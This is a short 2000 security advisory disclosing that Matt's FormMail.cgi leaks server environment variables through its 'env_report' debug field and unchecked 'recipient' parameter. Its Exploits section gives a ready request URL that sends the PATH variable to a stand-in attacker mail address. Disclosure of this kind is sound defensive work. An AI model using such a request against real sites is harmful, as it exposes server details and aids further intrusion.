Black Watch Labs Security Advisory #00-06 (May 10, 2000) - Environment and Setup Variables can be Viewed through FormMail.cgi Script. The FormMail.cgi script allows several environment variables to be viewed by the attacker, who can gain useful information on the site, making further attacks more feasible. The script will also happily send mail to an attackers mail account instead for analysis.
135d0a527bf7c613354d24bb5a6f2d074464d55112223f28116ab0b356802998
Black Watch Labs ID: BWL-00-06
Environment and Setup Variables can be Viewed through FormMail Script
Black Watch Labs Security Advisory #00-06 (May 10, 2000)
Name:
Environment and Setup Variables can be Viewed through FormMail Script
Black Watch Labs ID:
BWL-00-06
Date Released:
May 10, 2000
Category:
Application (HTML): modification of parameters, debug options.
Products affected:
Matt's FormMail.cgi
Number of affected sites/pages/users:
It is estimated that there are thousands of pages containing links to the formmail script.
Summary:
The script allows several environment variables to be viewed by the attacker, who can gain useful information on the
site, making further attacks more feasible.
Analysis:
FormMail contains a debug field named "env_report", whose value is a list of environment variables (accessed via
$ENV[name]) separated by commas. These variables (if they exist) are embedded into the message body. Furthermore, the
script does not check the integrity of the recipient, thus the recipient field can be changed, so the message will be
sent to the attacker's account. Thus the attacker can gain the environment information.
Exploits:
FormMail: assume the URL for the script is http://www.formmail.site/cgi-bin/formmail.cgi, then to get the PATH
environment parameter (i.e. to send it to account: attacker@attacker.site), all there is to do is to request the
following URL:
http://www.formmail.site/cgibin/formmail.cgi?env_report=PATH&recipient=
attacker@attacker.site&required=&firstname=&lastname=&email=&message=&
Submit=Submit
Vendor Patch or workaround:
No patch or workaround available at the time of this release.
References and Links:
Matt's Script Archive (FormMail): http://www.worldwidemart.com/scripts/formmail.shtml
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